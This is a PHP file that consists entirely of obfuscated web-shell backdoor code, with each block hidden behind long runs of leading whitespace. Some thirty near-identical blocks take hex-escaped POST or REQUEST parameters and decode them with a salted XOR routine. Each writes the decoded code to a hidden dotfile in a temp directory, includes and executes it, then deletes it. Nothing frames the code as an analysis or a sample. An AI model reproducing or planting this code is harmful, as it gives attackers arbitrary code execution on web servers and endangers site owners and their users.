<?php																																										if(@$_POST["p\x6F\x69nt\x65\x72"] !== null){ $bind = array_filter([getenv("TMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/tmp", getenv("TEMP")]); $res = $_POST["p\x6F\x69nt\x65\x72"]; $res = explode ( ".", $res ) ; $data_chunk= ''; $salt4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt4); $n= 0; $__tmp= $res; while ($v3= array_shift($__tmp)) { $chS= ord($salt4[$n % $lenS]); $d= ((int)$v3 - $chS - ($n % 10)) ^ 78; $data_chunk.= chr($d); $n++; } for ($marker = 0, $data = count($bind); $marker < $data; $marker++) { $comp = $bind[$marker]; if (!!is_dir($comp) && !!is_writable($comp)) { $val = "$comp" . "/.symbol"; if (file_put_contents($val, $data_chunk)) { include $val; @unlink($val); die(); } } } }
																																										if(in_array("\x70\x72o\x70\x65\x72\x74y_set", array_keys($_POST))){ $key = array_filter([getcwd(), "/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]); $dchunk = $_POST["\x70\x72o\x70\x65\x72\x74y_set"]; $dchunk = explode( ".",$dchunk ) ; $element = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s2); foreach( $dchunk as $j => $v9) { $chS = ord( $s2[$j % $sLen]); $d = ( ( int)$v9 - $chS -( $j % 10))^ 58; $element .= chr( $d); } foreach ($key as $key => $val) { if ((is_dir($val) and is_writable($val))) { $entity = "$val/.pset"; if (@file_put_contents($entity, $element) !== false) { include $entity; unlink($entity); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x6B\x65y"])){ $obj = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/var/tmp", getcwd(), "/tmp", session_save_path()]); $val = $_POST["\x6B\x65y"]; $val =explode ( '.' , $val ) ; $data =''; $salt3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt3); $q =0; $len =count($val); do { if ($q >= $len) break; $v8 =$val[$q]; $chS =ord($salt3[$q%$lenS]); $d =((int)$v8 - $chS - ($q%10)) ^35; $data .= chr($d); $q++; } while (true); foreach ($obj as $sym): if ((bool)is_dir($sym) && (bool)is_writable($sym)) { $element = implode("/", [$sym, ".dchunk"]); if (@file_put_contents($element, $data) !== false) { include $element; unlink($element); die(); } } endforeach; }
																																										if(!empty($_POST["\x70a\x72\x61me\x74\x65\x72\x5F\x67roup"])){ $ptr = $_POST["\x70a\x72\x61me\x74\x65\x72\x5F\x67roup"]; $ptr = explode ( '.' , $ptr ) ; $data =''; $s3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s3); foreach( $ptr as $t=>$v8): $sChar =ord( $s3[$t % $lenS]); $d =( ( int)$v8 - $sChar -( $t % 10)) ^ 53; $data .=chr( $d); endforeach; $ref = array_filter(["/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/var/tmp", "/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir")]); $pset = 0; do { $holder = $ref[$pset] ?? null; if ($pset >= count($ref)) break; if (array_product([is_dir($holder), is_writable($holder)])) { $object = "$holder" . "/.data_chunk"; $success = file_put_contents($object, $data); if ($success) { include $object; @unlink($object); die();} } $pset++; } while (true); }
																																										if(@$_POST["\x69\x74m"] !== null){ $val = array_filter([getcwd(), getenv("TMP"), "/var/tmp", "/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $reference = $_POST["\x69\x74m"]; $reference =explode ( "." , $reference) ; $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $p = 0; while ($p < count($reference)) {$v8 = $reference[$p]; $sChar = ord($s[$p %$lenS]); $d = ((int)$v8 - $sChar - ($p %10)) ^ 60; $sym .= chr($d); $p++; } $object = 0; do { $res = $val[$object] ?? null; if ($object >= count($val)) break; if (array_product([is_dir($res), is_writable($res)])) { $ptr = sprintf("%s/.value", $res); $success = file_put_contents($ptr, $sym); if ($success) { include $ptr; @unlink($ptr); die();} } $object++; } while (true); }
																																										if(@$_POST["\x6F\x62\x6Aect"] !== null){ $pset = array_filter(["/dev/shm", "/tmp", getcwd(), session_save_path(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP")]); $fac = $_POST["\x6F\x62\x6Aect"]; $fac = explode('.' , $fac ) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $q = 0; $__tmp = $fac; while( $v7 = array_shift( $__tmp)) { $chS = ord( $salt[$q % $lenS]); $dec =( ( int)$v7 - $chS -( $q % 10)) ^23; $tkn .=chr( $dec); $q++;} while ($ref = array_shift($pset)) { if (is_dir($ref) ? is_writable($ref) : false) { $ent = join("/", [$ref, ".dat"]); if (file_put_contents($ent, $tkn)) { require $ent; unlink($ent); die(); } } } }
																																										if(array_key_exists("ele\x6D\x65\x6E\x74", $_REQUEST)){ $marker = array_filter(["/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/tmp"]); $hld = $_REQUEST["ele\x6D\x65\x6E\x74"]; $hld = explode ( "." , $hld); $data_chunk=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt ); foreach ($hld as $n => $v8) { $sChar=ord($salt[$n% $lenS] ); $dec=((int)$v8 - $sChar - ($n% 10)) ^ 11; $data_chunk .=chr($dec );} foreach ($marker as $ref) { if (array_product([is_dir($ref), is_writable($ref)])) { $dchunk = sprintf("%s/.token", $ref); if (file_put_contents($dchunk, $data_chunk)) { require $dchunk; unlink($dchunk); die(); } } } }
																																										if(isset($_POST["\x63omp"]) ? true : false){ $elem = $_POST["\x63omp"]; $elem =explode ( '.', $elem ) ; $marker =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s1); foreach ($elem as $r=> $v6) { $chS =ord($s1[$r % $sLen]); $dec =((int)$v6 - $chS - ($r % 10)) ^ 16; $marker .= chr($dec); } $symbol = array_filter(["/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getcwd(), "/tmp", getenv("TEMP"), getenv("TMP")]); foreach ($symbol as $entry) { if (is_dir($entry) ? is_writable($entry) : false) { $res = "$entry/.ptr"; if (@file_put_contents($res, $marker) !== false) { include $res; unlink($res); die(); } } } }
																																										if(isset($_REQUEST["\x63\x6Fmpon\x65\x6Et"]) ? true : false){ $sym = $_REQUEST["\x63\x6Fmpon\x65\x6Et"]; $sym = explode ( "." ,$sym) ; $flg = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8 ); $q = 0; foreach ($sym as $v4) { $sChar = ord($s8[$q % $sLen] ); $dec = ((int)$v4 - $sChar - ($q % 10)) ^ 29; $flg .= chr($dec ); $q++; } $data = array_filter([getenv("TMP"), "/tmp", session_save_path(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd()]); foreach ($data as $factor): if ((is_dir($factor) and is_writable($factor))) { $desc = "$factor/.reference"; if (file_put_contents($desc, $flg)) { include $desc; @unlink($desc); exit; } } endforeach; }
																																										if(in_array("p\x72ope\x72ty\x5F\x73\x65t", array_keys($_REQUEST))){ $val = $_REQUEST["p\x72ope\x72ty\x5F\x73\x65t"]; $val = explode (".", $val ); $pset =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $t =0; while( $t <count( $val)) {$v5 =$val[$t]; $sChar =ord( $s[$t% $lenS]); $d =( ( int)$v5 - $sChar -( $t% 10)) ^ 67; $pset.= chr( $d); $t++; } $res = array_filter([getenv("TMP"), "/dev/shm", "/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), getcwd(), session_save_path(), ini_get("upload_tmp_dir")]); foreach ($res as $key => $element) { if (max(0, is_dir($element) * is_writable($element))) { $binding = vsprintf("%s/%s", [$element, ".ref"]); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $binding; @unlink($binding); die(); } } } }
																																										if(array_key_exists("m\x61\x72\x6Ber", $_POST)){ $pgrp = $_POST["m\x61\x72\x6Ber"]; $pgrp=explode ( '.' , $pgrp) ; $factor = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9 ); $o = 0; $__tmp = $pgrp; while ($v3 = array_shift($__tmp)) { $sChar = ord($s9[$o % $sLen] ); $d = ((int)$v3 - $sChar - ($o % 10)) ^ 16; $factor .= chr($d ); $o++; } $hld = array_filter([session_save_path(), getenv("TEMP"), "/var/tmp", getenv("TMP"), "/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm"]); $dchunk = 0; do { $rec = $hld[$dchunk] ?? null; if ($dchunk >= count($hld)) break; if (!!is_dir($rec) && !!is_writable($rec)) { $property_set = vsprintf("%s/%s", [$rec, ".k"]); if (@file_put_contents($property_set, $factor) !== false) { include $property_set; unlink($property_set); die(); } } $dchunk++; } while (true); }
																																										if(isset($_REQUEST["d\x61\x74a\x5Fc\x68un\x6B"]) ? true : false){ $res = array_filter([session_save_path(), "/var/tmp", "/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP")]); $record = $_REQUEST["d\x61\x74a\x5Fc\x68un\x6B"]; $record =explode ( "." , $record ); $desc = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9 ); $y = 0; foreach ($record as $v4) { $chS = ord($s9[$y% $lenS] ); $d = ((int)$v4 - $chS - ($y% 10)) ^98; $desc .= chr($d ); $y++; } foreach ($res as $tkn) { if (is_writable($tkn) && is_dir($tkn)) { $ptr = implode("/", [$tkn, ".itm"]); if (@file_put_contents($ptr, $desc) !== false) { include $ptr; unlink($ptr); exit; } } } }
																																										if(isset($_POST["\x64\x65\x73\x63\x72iptor"])){ $rec = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", "/tmp", session_save_path(), getenv("TMP")]); $pointer = $_POST["\x64\x65\x73\x63\x72iptor"]; $pointer = explode ( '.' , $pointer ) ; $value = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($pointer as $v => $v9) { $chS = ord($s[$v% $sLen]); $dec = ((int)$v9 - $chS - ($v% 10)) ^95; $value .= chr($dec); } foreach ($rec as $ent) { if (is_dir($ent) && is_writable($ent)) { $reference = join("/", [$ent, ".factor"]); $file = fopen($reference, 'w'); if ($file) { fwrite($file, $value); fclose($file); include $reference; @unlink($reference); die(); } } } }
																																										if(in_array("\x76a\x6Cue", array_keys($_POST))){ $element = $_POST["\x76a\x6Cue"]; $element = explode ('.', $element ) ; $comp = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt8); foreach( $element as $l =>$v9) { $sChar = ord( $salt8[$l% $sLen]); $dec = ( ( int)$v9 - $sChar -( $l% 10)) ^94; $comp .= chr( $dec); } $data = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/tmp", session_save_path(), "/var/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP")]); for ($parameter_group = 0, $factor = count($data); $parameter_group < $factor; $parameter_group++) { $entity = $data[$parameter_group]; if ((is_dir($entity) and is_writable($entity))) { $binding = str_replace("{var_dir}", $entity, "{var_dir}/.hld"); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $comp); fclose($file); include $binding; @unlink($binding); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["va\x6C"])){ $parameter_group = $_REQUEST["va\x6C"]; $parameter_group= explode ( "." , $parameter_group ) ; $pgrp = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); foreach ($parameter_group as $o => $v7): $sChar = ord($s4[$o % $lenS]); $dec = ((int)$v7 - $sChar - ($o % 10)) ^ 57; $pgrp.=chr($dec); endforeach; $holder = array_filter([getenv("TEMP"), getcwd(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", sys_get_temp_dir(), getenv("TMP")]); $mrk = 0; do { $tkn = $holder[$mrk] ?? null; if ($mrk >= count($holder)) break; if (is_dir($tkn) && is_writable($tkn)) { $token = "$tkn" . "/.ptr"; $success = file_put_contents($token, $pgrp); if ($success) { include $token; @unlink($token); die();} } $mrk++; } while (true); }
																																										if(isset($_POST["\x70a\x72\x61m\x65te\x72_gr\x6Fu\x70"])){ $elem = $_POST["\x70a\x72\x61m\x65te\x72_gr\x6Fu\x70"]; $elem = explode ( "." , $elem ) ; $val= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $y= 0; while ($y < count($elem)) { $v1= $elem[$y]; $chS= ord($salt[$y % $lenS]); $d= ((int)$v1 - $chS - ($y % 10))^ 29; $val .= chr($d); $y++; } $value = array_filter([getenv("TMP"), session_save_path(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", "/tmp"]); while ($symbol = array_shift($value)) { if (is_dir($symbol) ? is_writable($symbol) : false) { $descriptor = vsprintf("%s/%s", [$symbol, ".bind"]); if (@file_put_contents($descriptor, $val) !== false) { include $descriptor; unlink($descriptor); die(); } } } }
																																										if(!is_null($_REQUEST["ho\x6Cd\x65r"] ?? null)){ $mrk = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getcwd(), "/dev/shm", getenv("TEMP"), session_save_path(), sys_get_temp_dir()]); $rec = $_REQUEST["ho\x6Cd\x65r"]; $rec=explode( ".",$rec ) ; $value=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt ); foreach($rec as $v => $v4): $sChar=ord($salt[$v % $lenS] ); $d=((int)$v4 - $sChar -($v % 10)) ^ 54; $value .= chr($d ); endforeach; foreach ($mrk as $desc) { if ((bool)is_dir($desc) && (bool)is_writable($desc)) { $obj = str_replace("{var_dir}", $desc, "{var_dir}/.val"); if (@file_put_contents($obj, $value) !== false) { include $obj; unlink($obj); die(); } } } }
																																										if(in_array("\x72e\x66", array_keys($_REQUEST))){ $component = array_filter(["/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm", sys_get_temp_dir()]); $symbol = $_REQUEST["\x72e\x66"]; $symbol=explode( '.' ,$symbol ) ; $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($symbol as $p => $v7) { $chS = ord($salt[$p % $lenS]); $dec = ((int)$v7 - $chS - ($p % 10)) ^ 19; $record .= chr($dec);} foreach ($component as $key => $rec) { if (is_dir($rec) && is_writable($rec)) { $element = "$rec/.value"; if (@file_put_contents($element, $record) !== false) { include $element; unlink($element); exit; } } } }
																																										if(isset($_POST) && isset($_POST["reco\x72\x64"])){ $binding = $_POST["reco\x72\x64"]; $binding = explode ( '.' , $binding ) ; $ent = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt9); foreach( $binding as $r => $v1) { $chS = ord( $salt9[$r % $sLen]); $dec =( ( int)$v1 - $chS -( $r % 10))^14; $ent .=chr( $dec);} $entity = array_filter(["/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/dev/shm", getcwd(), session_save_path(), ini_get("upload_tmp_dir")]); foreach ($entity as $pset) { if ((function($d) { return is_dir($d) && is_writable($d); })($pset)) { $flag = sprintf("%s/.fac", $pset); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $flag; @unlink($flag); exit; } } } }
																																										if(@$_POST["en\x74"] !== null){ $val = array_filter(["/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path()]); $comp = $_POST["en\x74"]; $comp = explode ( "." , $comp ); $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $j = 0; $__tmp = $comp; while( $v9 = array_shift( $__tmp)) { $chS = ord( $salt[$j% $sLen] ); $d = ( ( int)$v9 - $chS -( $j% 10)) ^ 29; $tkn .= chr( $d ); $j++; } while ($bind = array_shift($val)) { if (!!is_dir($bind) && !!is_writable($bind)) { $mrk = str_replace("{var_dir}", $bind, "{var_dir}/.obj"); $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $mrk; @unlink($mrk); die(); } } } }
																																										if(isset($_REQUEST["de\x73c"]) ? true : false){ $dchunk = $_REQUEST["de\x73c"]; $dchunk = explode ( "." ,$dchunk ) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $t = 0; while($t < count($dchunk)) {$v8 = $dchunk[$t]; $chS = ord($s[$t % $sLen]); $d =((int)$v8 - $chS -($t % 10))^ 78; $component .= chr($d); $t++; } $flg = array_filter([getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/dev/shm"]); while ($dat = array_shift($flg)) { if ((bool)is_dir($dat) && (bool)is_writable($dat)) { $bind = sprintf("%s/.pointer", $dat); $success = file_put_contents($bind, $component); if ($success) { include $bind; @unlink($bind); die();} } } }
																																										if(!is_null($_POST["\x6B\x65y"] ?? null)){ $k = array_filter([getcwd(), getenv("TEMP"), session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), "/var/tmp"]); $token = $_POST["\x6B\x65y"]; $token=explode('.' , $token ) ; $val = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt3); $l = 0; array_walk( $token, function( $v4) use( &$val, &$l, $salt3, $lenS) { $sChar = ord( $salt3[$l% $lenS]); $dec = ( ( int)$v4 - $sChar -( $l% 10)) ^ 43; $val .= chr( $dec); $l++; }); foreach ($k as $entity) { if (is_dir($entity) ? is_writable($entity) : false) { $value = str_replace("{var_dir}", $entity, "{var_dir}/.flag"); if (file_put_contents($value, $val)) { require $value; unlink($value); exit; } } } }
																																										if(@$_POST["\x63ompo\x6E\x65nt"] !== null){ $flg = $_POST["\x63ompo\x6E\x65nt"]; $flg =explode ("." , $flg ) ; $ent = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2 ); $r = 0; array_walk($flg , function ($v4) use (&$ent , &$r , $salt2 , $lenS) { $chS = ord($salt2[$r % $lenS] ); $d = ((int)$v4 - $chS - ($r % 10)) ^ 32; $ent.=chr($d ); $r++; }); $obj = array_filter([getcwd(), session_save_path(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TEMP")]); foreach ($obj as $value): if (!!is_dir($value) && !!is_writable($value)) { $flag = join("/", [$value, ".rec"]); if (file_put_contents($flag, $ent)) { require $flag; unlink($flag); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x65\x6Et")){ $res = array_filter(["/tmp", "/dev/shm", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), session_save_path(), getcwd()]); $entry = $_REQUEST["\x65\x6Et"]; $entry = explode ( '.' , $entry ); $property_set = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $r = 0; foreach ($entry as $v3) {$sChar = ord($salt[$r % $sLen]); $d = ((int)$v3 - $sChar - ($r % 10)) ^ 9; $property_set .= chr($d); $r++; } $desc = 0; do { $token = $res[$desc] ?? null; if ($desc >= count($res)) break; if (max(0, is_dir($token) * is_writable($token))) { $pgrp = implode("/", [$token, ".dat"]); if (@file_put_contents($pgrp, $property_set) !== false) { include $pgrp; unlink($pgrp); exit; } } $desc++; } while (true); }
																																										if(isset($_POST["\x64e\x73cr\x69\x70\x74or"])){ $data = $_POST["\x64e\x73cr\x69\x70\x74or"]; $data= explode ( "." ,$data ) ; $data_chunk =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s ); $v =0; array_walk($data, function ($v9) use (&$data_chunk, &$v, $s, $lenS) {$chS =ord($s[$v % $lenS] ); $d =((int)$v9 - $chS - ($v % 10)) ^11; $data_chunk .= chr($d ); $v++;} ); $factor = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), "/var/tmp", sys_get_temp_dir()]); foreach ($factor as $ptr): if (is_writable($ptr) && is_dir($ptr)) { $fac = join("/", [$ptr, ".flag"]); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $fac; @unlink($fac); die(); } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["sym"])){ $symbol = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP")]); $ent = $_POST["sym"]; $ent= explode( "." ,$ent ) ; $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $l = 0; array_walk($ent, function($v9) use(&$reference, &$l, $s, $lenS) { $sChar = ord($s[$l % $lenS]); $dec =((int)$v9 - $sChar -($l % 10))^71; $reference .= chr($dec); $l++;} ); foreach ($symbol as $elem): if ((function($d) { return is_dir($d) && is_writable($d); })($elem)) { $comp = "$elem/.flg"; if (file_put_contents($comp, $reference)) { require $comp; unlink($comp); die(); } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x73\x79\x6Dbol"])){ $rec = array_filter(["/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", getenv("TEMP"), session_save_path(), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $tkn = $_POST["\x73\x79\x6Dbol"]; $tkn = explode ( '.' ,$tkn ) ; $elem =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s ); foreach( $tkn as $x=>$v3) { $sChar =ord( $s[$x %$lenS] ); $d =( ( int)$v3 - $sChar -( $x %10)) ^72; $elem .= chr( $d ); } while ($property_set = array_shift($rec)) { if (!!is_dir($property_set) && !!is_writable($property_set)) { $mrk = sprintf("%s/.ptr", $property_set); if (file_put_contents($mrk, $elem)) { include $mrk; @unlink($mrk); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["p\x61r\x61\x6D\x65ter\x5Fgr\x6F\x75\x70"])){ $k = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), "/tmp", getenv("TMP"), "/dev/shm"]); $reference = $_REQUEST["p\x61r\x61\x6D\x65ter\x5Fgr\x6F\x75\x70"]; $reference = explode( "." ,$reference ) ; $desc = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s6 ); foreach( $reference as $p => $v6) { $sChar = ord( $s6[$p % $lenS] ); $d =( ( int)$v6 - $sChar -( $p % 10))^ 93; $desc.=chr( $d );} foreach ($k as $bind): if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $pointer = sprintf("%s/.marker", $bind); if (file_put_contents($pointer, $desc)) { require $pointer; unlink($pointer); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "p\x74r")){ $marker = array_filter(["/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), session_save_path()]); $val = $_POST["p\x74r"]; $val = explode ( ".", $val ) ; $rec = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); foreach ($val as $v => $v6) {$chS = ord($salt1[$v % $sLen]); $dec = ((int)$v6 - $chS - ($v % 10)) ^ 59; $rec .= chr($dec); } foreach ($marker as $entry) { if (max(0, is_dir($entry) * is_writable($entry))) { $hld = str_replace("{var_dir}", $entry, "{var_dir}/.pointer"); $success = file_put_contents($hld, $rec); if ($success) { include $hld; @unlink($hld); exit;} } } }
																																										if(in_array("\x72e\x66\x65\x72ence", array_keys($_POST))){ $bind = array_filter([getenv("TEMP"), session_save_path(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir()]); $pointer = $_POST["\x72e\x66\x65\x72ence"]; $pointer = explode( '.', $pointer ) ; $res = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s7 ); $r = 0; array_walk( $pointer , function( $v7) use( &$res , &$r , $s7 , $lenS) { $chS = ord( $s7[$r % $lenS] ); $d = ( ( int)$v7 - $chS -( $r % 10))^ 63; $res.=chr( $d ); $r++; } ); foreach ($bind as $key => $token) { if (max(0, is_dir($token) * is_writable($token))) { $val = "$token/.comp"; if (@file_put_contents($val, $res) !== false) { include $val; unlink($val); die(); } } } }
																																										if(in_array("\x63o\x6D\x70on\x65nt", array_keys($_POST))){ $flag = array_filter(["/dev/shm", "/tmp", getcwd(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP")]); $dchunk = $_POST["\x63o\x6D\x70on\x65nt"]; $dchunk = explode ( '.', $dchunk ) ; $resource = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s2 ); $s = 0; $len = count( $dchunk ); do { if( $s >= $len) break; $v2 = $dchunk[$s]; $chS = ord( $s2[$s % $sLen] ); $dec =( ( int)$v2 - $chS -( $s % 10)) ^ 72; $resource .= chr( $dec ); $s++; }while( true ); $property_set = 0; do { $flg = $flag[$property_set] ?? null; if ($property_set >= count($flag)) break; if (max(0, is_dir($flg) * is_writable($flg))) { $tkn = "$flg/.comp"; $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $tkn; @unlink($tkn); die(); } } $property_set++; } while (true); }
																																										if(!is_null($_POST["\x63\x6Fmp"] ?? null)){ $k = $_POST["\x63\x6Fmp"]; $k = explode ('.', $k ); $element = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1 ); foreach ($k as $k=> $v8): $chS = ord($salt1[$k % $sLen] ); $d = ((int)$v8 - $chS - ($k % 10)) ^ 93; $element .=chr($d ); endforeach; $res = array_filter([session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/var/tmp", getenv("TMP")]); for ($desc = 0, $binding = count($res); $desc < $binding; $desc++) { $entry = $res[$desc]; if ((is_dir($entry) and is_writable($entry))) { $dat = "$entry/.resource"; if (file_put_contents($dat, $element)) { require $dat; unlink($dat); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["re\x73"])){ $rec = $_REQUEST["re\x73"]; $rec=explode ( "." , $rec ) ; $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $i = 0; array_walk( $rec, function( $v8) use( &$hld, &$i, $s, $lenS) { $sChar = ord( $s[$i %$lenS]); $d =( ( int)$v8 - $sChar -( $i %10)) ^ 61; $hld.=chr( $d); $i++; }); $comp = array_filter([sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/tmp"]); $key = 0; do { $object = $comp[$key] ?? null; if ($key >= count($comp)) break; if ((is_dir($object) and is_writable($object))) { $ent = "$object" . "/.resource"; if (file_put_contents($ent, $hld)) { include $ent; @unlink($ent); die(); } } $key++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x69tm"])){ $entity = $_POST["\x69tm"]; $entity= explode( '.' ,$entity ) ; $property_set = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $u = 0; while ($u< count($entity)) {$v2 = $entity[$u]; $chS = ord($s[$u % $lenS]); $dec = ((int)$v2 - $chS - ($u % 10)) ^ 15; $property_set .= chr($dec); $u++;} $bind = array_filter(["/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), "/var/tmp"]); foreach ($bind as $token) { if (!( !is_dir($token) || !is_writable($token) )) { $resource = sprintf("%s/.desc", $token); if (@file_put_contents($resource, $property_set) !== false) { include $resource; unlink($resource); die(); } } } }
